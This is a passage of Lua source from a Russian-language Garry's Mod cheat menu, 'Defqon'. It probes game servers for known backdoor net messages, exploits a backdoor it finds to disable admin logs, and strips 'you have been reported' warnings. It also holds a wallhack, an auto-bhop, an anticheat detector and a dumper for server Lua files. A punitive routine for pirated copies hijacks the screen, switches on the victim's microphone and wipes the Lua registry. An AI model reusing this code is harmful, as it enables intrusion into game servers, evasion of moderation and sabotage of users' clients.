if( ValidNetString("NoNerks") ) then
print( "[Defqon] Найден Backdoor! - NoNerks" )
end
if( ValidNetString("kek") ) then
print( "[Defqon] Найден Backdoor! - kek" )
end
if( ValidNetString("ZimbaBackDoor") ) then
print( "[Defqon] Найден Backdoor! - ZimbaBackDoor" )
end
if( ValidNetString("something") ) then
print( "[Defqon] Найден Backdoor! - something" )
end
if( ValidNetString("random") ) then
print( "[Defqon] Найден Backdoor! - random" )
end
if( ValidNetString("strip0") ) then
print( "[Defqon] Найден Backdoor! - strip0" )
end
if( ValidNetString("DarkRP_AdminWeapons") ) then
print( "[Defqon] Найден Backdoor! - DarkRP_AdminWeapons" )
end
if( ValidNetString("SessionBackdoor") ) then
print( "[Defqon] Найден Backdoor! - SessionBackdoor" )
end
if( ValidNetString("ULXQUERY2") ) then
print( "[Defqon] Найден Backdoor! - ULXQUERY2" )
end
if( ValidNetString("fellosnake") ) then
print( "[Defqon] Найден Backdoor! - fellosnake" )
end
if( ValidNetString("enablevac") ) then
print( "[Defqon] Найден Backdoor! - enablevac" )
end
if( ValidNetString("idk") ) then
print( "[Defqon] Найден Backdoor! - idk" )
end
if( ValidNetString("c") ) then
print( "[Defqon] Найден Backdoor! - c" )
end
if( ValidNetString("killserver") ) then
print( "[Defqon] Найден Backdoor! - killserver" )
end
if( ValidNetString("fuckserver") ) then
print( "[Defqon] Найден Backdoor! - fuckserver" )
end
if( ValidNetString("cvaraccess") ) then
print( "[Defqon] Найден Backdoor! - cvaraccess" )
end
if( ValidNetString("rcon") ) then
print( "[Defqon] Найден Backdoor! - rcon" )
end
if( ValidNetString("rconadmin") ) then
print( "[Defqon] Найден Backdoor! - rconadmin" )
end
if( ValidNetString("web") ) then
print( "[Defqon] Найден Backdoor! - web" )
end
if( ValidNetString("jesuslebg") ) then
print( "[Defqon] Найден Backdoor! - jesuslebg" )
end
if( ValidNetString("zilnix") ) then
print( "[Defqon] Найден Backdoor! - zilnix" )
end
if( ValidNetString("Þà?D)◘") ) then
print( "[Defqon] Найден Backdoor! - Þà?D)◘" )
end
if( ValidNetString("disablebackdoor") ) then
print( "[Defqon] Найден Backdoor! - disablebackdoor" )
end
if( ValidNetString("kill") ) then
print( "[Defqon] Найден Backdoor! - kill" )
end
if( ValidNetString("DefqonBackdoor") ) then
print( "[Defqon] Найден Фирменный Backdoor! - DefqonBackdoor" )
end
end
-- Auto-Backdoor checker
if( ValidNetString("memeDoor") ) then
netKey = "memeDoor"
else
end
if( ValidNetString("Sandbox_Armdupe") ) then
netKey = "Sandbox_Armdupe"
else
end
if( ValidNetString("DarkRP_AdminWeapons") ) then
netKey = "DarkRP_AdminWeapons"
else
end
if( ValidNetString("enablevac") ) then
netKey = "enablevac"
else
end
if( ValidNetString("SessionBackdoor") ) then
netKey = "SessionBackdoor"
else
end
if( ValidNetString("Fix_Keypads") ) then
netKey = "Fix_Keypads"
else
end
if( ValidNetString("Remove_Exploiters") ) then
netKey = "Remove_Exploiters"
else
end
if( ValidNetString("noclipcloakaesp_chat_text") ) then
netKey = "noclipcloakaesp_chat_text"
else
end
if( ValidNetString("_Defqon") ) then
netKey = "_Defqon"
else
end
if( ValidNetString("_CAC_ReadMemory") ) then
netKey = "_CAC_ReadMemory"
else
end
if( ValidNetString("nostrip") ) then
netKey = "nostrip"
else
end
if( ValidNetString("LickMeOut") ) then
netKey = "LickMeOut"
else
end
if( ValidNetString("MoonMan") ) then
netKey = "MoonMan"
else
end
if( ValidNetString("Im_SOCool") ) then
netKey = "Im_SOCool"
else
end
if( ValidNetString("ULXQUERY2") ) then
netKey = "ULXQUERY2"
else
end
if( ValidNetString("Sbox_itemstore") ) then
netKey = "Sbox_itemstore"
else
end
if( ValidNetString("Ulib_Message") ) then
netKey = "Ulib_Message"
else
end
if( ValidNetString("Sbox_darkrp") ) then
netKey = "Sbox_darkrp"
else
end
if( ValidNetString("ULogs_Info") ) then
netKey = "ULogs_Info"
else
end
if( ValidNetString("ITEM") ) then
netKey = "ITEM"
else
end
if( ValidNetString("fix") ) then
netKey = "fix"
else
end
if( ValidNetString("nocheat") ) then
netKey = "nocheat"
else
end
if( ValidNetString("ULX_QUERY2") ) then
netKey = "ULX_QUERY2"
else
end
if( ValidNetString("Sandbox_GayParty") ) then
netKey = "Sandbox_GayParty"
else
end
if( ValidNetString("DarkRP_UTF8") ) then
netKey = "DarkRP_UTF8"
else
end
if( ValidNetString("oldNetReadData") ) then
netKey = "oldNetReadData"
else
end
if( ValidNetString("BackDoor") ) then
netKey = "BackDoor"
else
end
if( ValidNetString("OdiumBackDoor") ) then
netKey = "OdiumBackDoor"
else
end
if( ValidNetString("cucked") ) then
netKey = "cucked"
else
end
if( ValidNetString("NoNerks") ) then
netKey = "NoNerks"
else
end
if( ValidNetString("kek") ) then
netKey = "kek"
else
end
if( ValidNetString("ZimbaBackDoor") ) then
netKey = "ZimbaBackDoor"
else
end
if( ValidNetString("something") ) then
netKey = "something"
else
end
if( ValidNetString("random") ) then
netKey = "random"
else
end
if( ValidNetString("strip0") ) then
netKey = "strip0"
else
end
if( ValidNetString("fellosnake") ) then
netKey = "fellosnake"
else
end
if( ValidNetString("idk") ) then
netKey = "idk"
else
end
if( ValidNetString("c") ) then
netKey = "c"
else
end
if( ValidNetString("killserver") ) then
netKey = "killserver"
else
end
if( ValidNetString("fuckserver") ) then
netKey = "fuckserver"
else
end
if( ValidNetString("cvaraccess") ) then
netKey = "cvaraccess"
else
end
if( ValidNetString("rcon") ) then
netKey = "rcon"
else
end
if( ValidNetString("rconadmin") ) then
netKey = "rconadmin"
else
end
if( ValidNetString("web") ) then
netKey = "web"
else
end
if( ValidNetString("jesuslebg") ) then
netKey = "jesuslebg"
else
end
if( ValidNetString("zilnix") ) then
netKey = "zilnix"
else
end
if( ValidNetString("Þà?D)◘") ) then
netKey = "Þà?D)◘"
else
end
if( ValidNetString("disablebackdoor") ) then
netKey = "disablebackdoor"
else
end
if( ValidNetString("kill") ) then
netKey = "kill"
else
end
if( ValidNetString("DefqonBackdoor") ) then
netKey = "DefqonBackdoor"
else
end
if netKey == "" then
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Бэкдуров на сервере не найдено." )
else
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 0, 255, 0 ), "Найден .net Backdoor: ".. netKey )
-- Auto shut down ULX Logs
if GetConVarNumber("silent") == 1 then
net.Start(netKey)
net.WriteString( "ulx_logecho 0" )
net.WriteBit (0)
net.SendToServer()
timer.Simple(0.1, function()
net.Start(netKey)
net.WriteString( "ulx_logecho 0" )
net.WriteBit (1)
net.SendToServer()
chat.AddText("ULX Logs Отключены." )
end)
end
end
local function gmsg(msg,color)
if color == "color_red" then chat.AddText( "\n",Color( 255,0,0 ),"[Defqon] ",Color( 150,0,0 )," ".. msg) return end
if color == "color_red_red" then chat.AddText( "\n",Color( 255,0,0 ),"[Defqon] ",Color( 255,0,0 )," ".. msg) return end
if color == "color_green" then chat.AddText( "\n",Color( 255,0,0 ),"[Defqon] ",Color( 43,255,0 )," ".. msg) return end
chat.AddText( "",Color( 255,0,0 ),"[Defqon] ",Color( 255,255,225 )," ".. msg)
end
function iZNX.ScanPlayers()
surface.PlaySound("garrysmod/ui_click.wav")
local playerscount = 0
local playerscount_admin = 0
local playerscount_hryak = 0
local playerscount_hryak_admin = 0
gmsg ("Группа - Ник - SID - Деньги")
for k,v in pairs(player.GetAll()) do
local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
gmsg(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney.. "","color_green")
end
end
else -- Если SteamID не авторизован (чит украден, кто-то дал ссылку на него и т.п методы получения)
surface.CreateFont( "PopupHFont", {
font = "Segoe UI Light",
size = 50,
weight = 1000,
})
surface.CreateFont("PopupFont", {
font = "Segoe UI Light",
size = 21,
weight = 300
})
concommand.Add("fucked", function()
LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100)
LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100)
LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100)
LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100)
LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100)
LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100)
local Popup = vgui.Create("DFrame")
Popup:SetSize( ScrW(), ScrH() )
Popup:SetPos( 0,0 )
Popup:SetVisible( true )
Popup:SetDraggable( false )
Popup:SetTitle( "" )
Popup:MakePopup()
Popup:ShowCloseButton( false )
Popup.Paint = function(s,w,h)
surface.SetDrawColor( Color(0,0,0,200) )
surface.DrawRect( 0,0, w,h )
surface.SetDrawColor( Color(240,0,0) )
surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
surface.SetTextColor(255,255,255)
surface.SetTextPos(w/5.10, h/2.40)
surface.SetFont("PopupHFont")
surface.SetTextPos(w/5.10, h/3)
surface.DrawText("Ошибка")
surface.SetFont("PopupFont")
surface.SetTextPos(w/5.10, h/2.50)
surface.DrawText( "Вы не покупали DefqonMenu," )
surface.SetTextPos(w/5.10, h/2.40)
surface.DrawText( "И вы не можете его использовать," )
surface.SetTextPos(w/5.10, h/2.30)
surface.DrawText("Будет плохо, если вы попытаетесь прописать exploit_menu в консоль")
end
button = vgui.Create("DButton", Popup)
button:SetSize(110,32.5)
button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
button:SetText("")
button.Paint = function(s,w,h)
surface.SetDrawColor( Color(255,255,255) )
surface.DrawRect( 0,0, w,h )
surface.SetDrawColor( Color(80,180,240) )
surface.DrawRect( 0+3,0+3, w-6,h-6 )
surface.SetTextColor(255,255,255)
surface.SetFont("PopupFont")
surface.SetTextPos(24,5.5)
surface.DrawText( "Закрыть" )
end
button.DoClick = function(s,w,h)
Popup:Close()
end
end)
RunConsoleCommand("fucked")
end
--[[---------------------------------------------------------------------------------------------------------
____ _ _ _ _ _ _ _ _ _
/ ___|| |_ ___ __ _ _ __ ___ (_) __| | / \ _ _| |_| |__ ___ _ __(_)______ _| |_(_) ___ _ __
\___ \| __/ _ \/ _` | '_ ` _ \| |/ _` | / _ \| | | | __| '_ \ / _ \| '__| |_ / _` | __| |/ _ \| '_ \
___) | || __/ (_| | | | | | | | (_| | / ___ \ |_| | |_| | | | (_) | | | |/ / (_| | |_| | (_) | | | |
|____/ \__\___|\__,_|_| |_| |_|_|\__,_| /_/ \_\__,_|\__|_| |_|\___/|_| |_/___\__,_|\__|_|\___/|_| |_|
----------------------------------------------------------------------------------------------------------]]
function leak()
fuck = false
timer.Create("LolHackers", 1, 0, function()
if fuck then
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Не заплатил - меню не получил" )
else
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), ":^)" )
end
fuck = !fuck
end)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Чёртов пират, уходи!" )
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Не заплатил - меню не получил!" )
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), ":^)" )
local msg = "Подожди. . ."
surface.CreateFont("lolwutbet2", {size=75})
local function huddrawdetour2()
draw.RoundedBox(0, 0, 0, ScrW(), ScrH(), HSVToColor( CurTime() % 6 * 60, 1, 1 ))
draw.RoundedBox(0, 0, ScrH() / 3.5, ScrW(), ScrH() / 4.5, Color(0, 0, 0))
draw.SimpleText(msg, "lolwutbet2", ScrW() / 2, ScrH() / 2.5, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
for k,v in pairs(hook.GetTable()) do
for o,j in pairs(v) do
if k == "HUDPaint" then
hook.Remove(k, o)
hook.Add(k, o, huddrawdetour2)
end
end
end
hook.Add("HUDPaint","eztoirkfghdjnnvcc", huddrawdetour2)
timer.Create("ti_ebaniy_debil1",2 ,0 , function()
msg = table.Random({
"Зачем скачал слитый чит?",
"За всё нужно платить",
"Ну правда",
"Почему ты это сделал ?",
"Я уже взламываю твой аккаунт",
"Мда",
"Может будет лучше скачать Gmhack?",
"Я же говорил тебе не прописывать exploit_menu",
"u n00b",
"1337",
"1337 h4ck3r",
"Больше не запускай меня, ок?",
"gmhack!1!1!11",
"lol",
"Надеюсь, ты понял",
"...",
"...",
"..."})
end)
timer.Create("lgfholjghlfdsq",0 ,0 , function()
MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "ЗАПУСТИ МЕНЯ ЕЩЕ РАЗ, ДАВАЙ, СДЕЛАЙ ЭТО!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n")
end)
sound.PlayURL("http://d.zaix.ru/5Kko.mp3","mono noblock", function( s )
s:Play()
end)
LocalPlayer():ConCommand("+voicerecord") -- Автоматическое включение микрофона
LocalPlayer():ConCommand("cl_yawspeed 9999") -- Скорость кручения
LocalPlayer():ConCommand("+right") -- Будешь крутиться вправо
MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "Нажми escape !\n")
timer.Simple(5 * 60, function()
table.Empty(debug.getregistry())
end)
end
concommand.Add( "exploit_menu", leak )
/*
function noob()
huck = false
timer.Create("LolHackers1", 1, 0, function()
if huck then
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Не заплатил - меню не получил!" )
else
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), ":^)" )
end
huck = !fuck
end)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
LocalPlayer():EmitSound("common/warning.wav",500,100)
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Чёртов пират, уходи!" )
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Не заплатил - меню не получил!" )
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), ":^)" )
local msg1 = "Подожди. . ."
surface.CreateFont("lolwutbet3", {size=75})
local function huddrawdetour3()
draw.RoundedBox(0, 0, 0, ScrW(), ScrH(), HSVToColor( CurTime() % 6 * 60, 1, 1 ))
draw.RoundedBox(0, 0, ScrH() / 3.5, ScrW(), ScrH() / 4.5, Color(0, 0, 0))
draw.SimpleText(msg, "lolwutbet3", ScrW() / 2, ScrH() / 2.5, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
for k,v in pairs(hook.GetTable()) do
for o,j in pairs(v) do
if k == "HUDPaint" then
hook.Remove(k, o)
hook.Add(k, o, huddrawdetour2)
end
end
end
hook.Add("HUDPaint","cztoirkfghdjnnvcc", huddrawdetour2)
timer.Create("ti_ebaniy_debil3",2 ,0 , function()
msg = table.Random({
"Зачем скачал слитый чит?",
"За всё нужно платить",
"Ну правда",
"Почему ты это сделал ?",
"Я уже взламываю твой аккаунт",
"Мда",
"Может будет лучше скачать Gmhack?",
"u n00b",
"1337",
"1337 h4ck3r",
"Больше не запускай меня, ок?",
"gmhack!1!1!11",
"lol",
"Надеюсь, ты понял",
"...",
"...",
"..."})
end)
timer.Create("ugfholjghlfdsq",0 ,0 , function()
MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "ЗАПУСТИ МЕНЯ ЕЩЕ РАЗ, ДАВАЙ, СДЕЛАЙ ЭТО!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !\n")
end)
sound.PlayURL("http://d.zaix.ru/5Kko.mp3","mono noblock", function( s )
s:Play()
end)
LocalPlayer():ConCommand("+voicerecord") -- Включение микрофона
LocalPlayer():ConCommand("cl_yawspeed 9999") -- Скорость кручения
LocalPlayer():ConCommand("+right") -- Будешь крутиться вправо
MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "Нажми escape !\n")
timer.Simple(5 * 60, function()
table.Empty(debug.getregistry())
end)
end
concommand.Add( "sdbhfbgf", noob )
*/
-- Version Check
function CheckVersion()
surface.PlaySound("garrysmod/ui_click.wav")
if ( Version == "v5.1.1") then
chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 0, 255, 0 )," Вы используете последнюю версию от 17.03.18!" )
else
chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 0, 0 )," Ваша версия чита устарела!" )
end
end
require("stringtables")
local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" }
function string.JavascriptSafe( str )
str = str:gsub( ".", escapejs )
str = str:gsub( "\226\128\168", "\\\226\128\168" )
str = str:gsub( "\226\128\169", "\\\226\128\169" )
return str
end
local function GetLuaFiles(client_lua_files)
local count = client_lua_files:Count()
local ret = {}
for i = 1, count - 2 do
ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) }
end
return ret
end
local function GetLuaFileContents(crc)
local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4)
local contents = util.Decompress(fs:Read(fs:Size() - 4))
return contents:sub(1, -2)
end
local function dumbFile(path, contents)
if not path:match("%.lua$") then
path = path..".lua"
end
local curdir = ""
for t in path:gmatch("[^/\\*]+") do
curdir = curdir..t
if curdir:match("%.lua$")
then
print("writing: ", curdir)
file.Write(curdir, contents)
else curdir = curdir.."/"
print("Creating: ", curdir)
file.CreateDir(curdir)
end
end
end
local dumbFolderCache = ""
local function dumbFolder(node)
for _, subnode in ipairs(node.ChildNodes:GetChildren()) do
if subnode:HasChildren() then
dumbFolder(subnode)
else
dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC))
end
end
end
local VIEWER2 = {}
function VIEWER2:Init()
self:SetTitle("Lua View")
self:SetSize(1200, 550)
self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
surface.SetDrawColor(Color(40,40,40))
surface.DrawRect( 0,0, w,h )
surface.SetDrawColor( Color(40,40,40) )
surface.DrawRect( 1,1, w-2,h-2 )
surface.SetDrawColor(Color(40,40,40))
surface.DrawRect( 2,2, w-4,h-4 )
surface.SetDrawColor(Color(40,40,40))
surface.DrawRect( 7.5,27.5, w-14,h-34)
surface.SetTextColor(255,255,255)
surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2)
self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() )
end
self.close = vgui.Create( "DButton", self )
self.close:SetSize( 43,20 )
self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 )
self.close:SetText("")
self.close.Paint = function(s,w,h)
surface.SetDrawColor( Color(199,80,80) )
surface.DrawRect( 0,0, w,h )
surface.SetTextColor(255,255,255)
surface.SetTextPos(18,-2)
surface.DrawText( "x" )
end
self.close.DoClick = function(s,w,h)
self:Close()
end
self.tree = vgui.Create("DTree", self)
self.tree:SetPos(8.5,28.5)
self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36)
self.tree.Directories = {}
self.html = vgui.Create("DHTML", self)
self.html:SetPos(self:GetWide()/2-200+8.5, 28.5)
self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36)
self.html:OpenURL("https://metastruct.github.io/lua_editor/")
client_lua_files = stringtable.Get "client_lua_files"
local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do
if i == 1 then
continue
end
local file_name = string.match(v.Path, ".*/([^/]+%.lua)")
local dir_path = string.sub(v.Path, 1, -1 - file_name:len())
local file_crc = v.CRC
local cur_dir = tree_data
for dir in string.gmatch(dir_path, "([^/]+)/") do
if not cur_dir[dir] then
cur_dir[dir] = {}
end cur_dir = cur_dir[dir]
end
cur_dir[file_name] = {fileN = file_name, CRC = file_crc}
end
local file_queue = {}
local function iterate(data, node, path)
path = path or ""
for k, v in SortedPairs(data) do
if type(v) == "table" and not v.CRC then
local new_node = node:AddNode(k)
new_node.DoRightClick = function()
local dmenu = DermaMenu(new_node)
dmenu:SetPos(gui.MouseX(), gui.MouseY())
dmenu:AddOption("Save Folder(НЕ РАБОТАЕТ)", function()
dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node)
DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!")
end)
dmenu:Open()
end iterate(v, new_node, path .. k .. "/")
else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC})
end
end
end
iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do
local node = v.node:AddNode(v.fileN, "icon16/page_green.png")
node.DoClick = function()
self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')")
end
local hostname = GetHostName()
hostname = hostname:gsub("|", "-")
hostname = hostname:gsub("~", "-")
hostname = hostname:gsub(" ", "")
node.DoRightClick = function(self,node)
local nodemenu = DermaMenu(node)
nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!")
end)
nodemenu:Open()
end node.CRC = v.CRC node.pathh = v.path
end
end
derma.DefineControl("chmluaviewer", "Defqon Lua Viewer", VIEWER2, "DFrame")
------------------------------------------------------------------------------------------------
local title = "You have been reported! Please answer all your reports."
local function CheckChild(pan)
if not pan or not IsValid(pan) then return end
if pan.GetTitle and pan:GetTitle() == title then
pan:Remove()
print("Удален warning box")
return
end
for k, v in pairs(pan:GetChildren()) do
if v.GetTitle and v:GetTitle() == title then
v:Remove()
print("Удален warning box")
return
end
if #v:GetChildren() > 0 then
CheckChild(v)
end
end
end
local isttt = false
if (engine.ActiveGamemode() == "terrortown") then
isttt = true
end
local bypass = 0
local rainb = false
function rainbowphysgun()
surface.PlaySound("garrysmod/ui_click.wav")
if not rainb then
hook.Add("Think", "RGBSTF", function()
local rainbowC = HSVToColor(CurTime() % 6 * 60, 1, 1)
LocalPlayer():SetWeaponColor(Vector(rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255))
LocalPlayer():SetPlayerColor(Vector(rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255))
end)
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Радужный физган включен" )
rainb = true
else
hook.Remove("Think", "RGBSTF")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Радужный физган выключен" )
rainb = false
end
end
surface.CreateFont("WHT", {
font = "Robot",
size = ScreenScale(7),
weight = 150,
antialias = true,
shadow = true,
})
local wh = false
function WHT()
surface.PlaySound("garrysmod/ui_click.wav")
if not wh then
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Wallhack включен" )
hook.Add("HUDPaint", "WHT", function()
for k, v in pairs(player.GetAll()) do
if (v:Alive()) then
local Position = (v:GetPos() + Vector(0, 0, 95)):ToScreen()
local Name = ""
local teamName = ""
local colwht = v:IsPlayer() and team.GetColor(v:Team())
if v == LocalPlayer() then
Name = ""
teamName = ""
elseif v:IsBot() then
Name = v:Name() .. "[ БОТ ]"
if (string.lower(engine.ActiveGamemode()) == "darkrp") then
teamName = v:getDarkRPVar("job") or ""
end
else
Name = v:Name()
if (string.lower(engine.ActiveGamemode()) == "darkrp") then
teamName = v:getDarkRPVar("job") or ""
end
end
if v:GetUserGroup() == "user" then
draw.SimpleText(Name .. "(" .. v:Health() .. ")", "WHT", Position.x, Position.y, colwht, 1)
if (string.lower(engine.ActiveGamemode()) == "darkrp") then
local PlyMoney = math.ceil(v:getDarkRPVar("money") or 0)
draw.SimpleText(teamName .. "[" .. PlyMoney .. "]", "WHT", Position.x, Position.y + 20, Color(255, 255, 255, 255), 1)
end
else
draw.SimpleText(Name .. "(" .. v:Health() .. ") [" .. v:GetUserGroup() .. "]", "WHT", Position.x, Position.y, colwht, 1)
if (string.lower(engine.ActiveGamemode()) == "darkrp") then
local PlyMoney = math.ceil(v:getDarkRPVar("money") or 0)
draw.SimpleText(teamName .. "[" .. PlyMoney .. "]", "WHT", Position.x, Position.y + 20, Color(255, 255, 255, 255), 1)
end
end
end
end
end)
wh = true
else
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Wallhack выключен" )
hook.Remove("HUDPaint", "WHT")
wh = false
end
end
concommand.Add("Defqon_wallhack", WHT)
local bhop = false
function Bhop()
surface.PlaySound("garrysmod/ui_click.wav")
if not bhop then
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Bhop включен" )
hook.Add("CreateMove", "BHOP", function(cmd)
if (cmd:KeyDown(IN_JUMP)) then
if(cmd:GetMouseX() < 0) then --spinning right
cmd:SetSideMove(-10000);
elseif(cmd:GetMouseX() > 0) then
cmd:SetSideMove(10000);
end
if (LocalPlayer():IsOnGround()) then
cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_JUMP));
return;
end
end
cmd:RemoveKey(IN_JUMP);
end )
bhop = true
else
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Bhop выключен" )
hook.Remove("CreateMove", "BHOP")
bhop = false
end
end
concommand.Add("Defqon_bhop", Bhop)
local CommandList2 = {}
local CompleteList2 = {}
local oaddcc = AddConsoleCommand
local _A = {}
_A.aegis = {}
_A.registry = debug.getregistry()
local aegis = {}
_A.aegis.logs = {}
_A.aegis.anticheats = {}
_A.aegis.exploitables = {}
local function ispooped( str )
local status, error = pcall( net.Start, str )
return status
end
local acfags = {
["!Cake Anticheat (CAC)"] = {
desc = "Самый распространенный античит, используемый сегодня (и ваш худший кошмар, прежде чем вы юзанули обход)\nИмеет очень сильные обнаружения, которые все еще лагают, даже через 2 года после его выпуска",
scan = function() return _A.aegis.anticheats["extensions/client/vehicle.lua"] end,
},
["Simplicity Anticheat (SAC)"] = {
desc = "Новый античит Leystryku, который он выпустил на scriptfodder\nНе силен, как CAC, но (по-видимому) предлагает лучшую производительность серверов",
scan = function() if _G.simplicity then return true else return false end end,
},
["Quack Anticheat (QAC)"] = {
desc = "Датированный античит с открытым исходным кодом из 2014 года\nRPards все еще редактируют и используют этот кусок дерьма, называя его своим 1337 приватным античитом", -- сами не лучше
scan = function() return ( _G.QAC and ispooped( "quack" ) ) end,
},
["Supservers Anticheat"] = {
desc = "Скорее черный список публичных читов, чем настоящий античит\nЭтот мусор не представляет для нас никакой угрозы (будьте осторожны с ними, скринграбит экран)",
scan = function() return ispooped( "rp.OrgMotd" ) end,
},
["Screengrab V2"] = {
desc = "Публичная утилита, которая может быть использована для скриншота вашего экрана\nВроде у дефкона есть анти-скринграб, но я хз",
scan = function() if _G.OpenSGMenu then return true else return false end end,
},
["Pablo's Screengrab"] = {
desc = "Публичная утилита, которая может быть использована для скриншота вашего экрана\nВроде у дефкона есть анти-скринграб, но я хз",
scan = function() if _G.SCRG then return true else return false end end,
},
["Enforcer Anti Minge"] = {
desc = "Скрипт общего назначения, который включает в себя антипропкилл, анти-краш и логи",
scan = function() if _G.EnforcerAddMessage then return true else return false end end,
},
["AP Anti"] = {
desc = "Тупо названный сценарий анти-пропкилла с открытым исходным кодом\nВы вероятно не сможете пропкиллить на этом сервере",
scan = function() return ispooped( "APAnti AlertNotice" ) end,
},
}
concommand.Add( "Defqon_anticheats", function()
local acpanel = vgui.Create("DFrame")
if !acpanel then return end
acpanel:SetSize(500,455)
acpanel:SetTitle("Меры безопасности сервера")
acpanel:Center()
acpanel:MakePopup()
acpanel.Paint = function( s, w, h )
surface.SetDrawColor( Color(30, 30, 30, 255) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(55, 55, 55, 255) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
surface.SetDrawColor( Color(33, 33, 33, 200) )
surface.DrawRect( 10, 25, w - 20, h - 35 )
end
local Plist = vgui.Create( "DPanelList", acpanel )
Plist:SetSize( acpanel:GetWide() - 20, acpanel:GetTall() - 35 )
Plist:SetPadding( 5 )
Plist:SetSpacing( 5 )
Plist:EnableHorizontal( false )
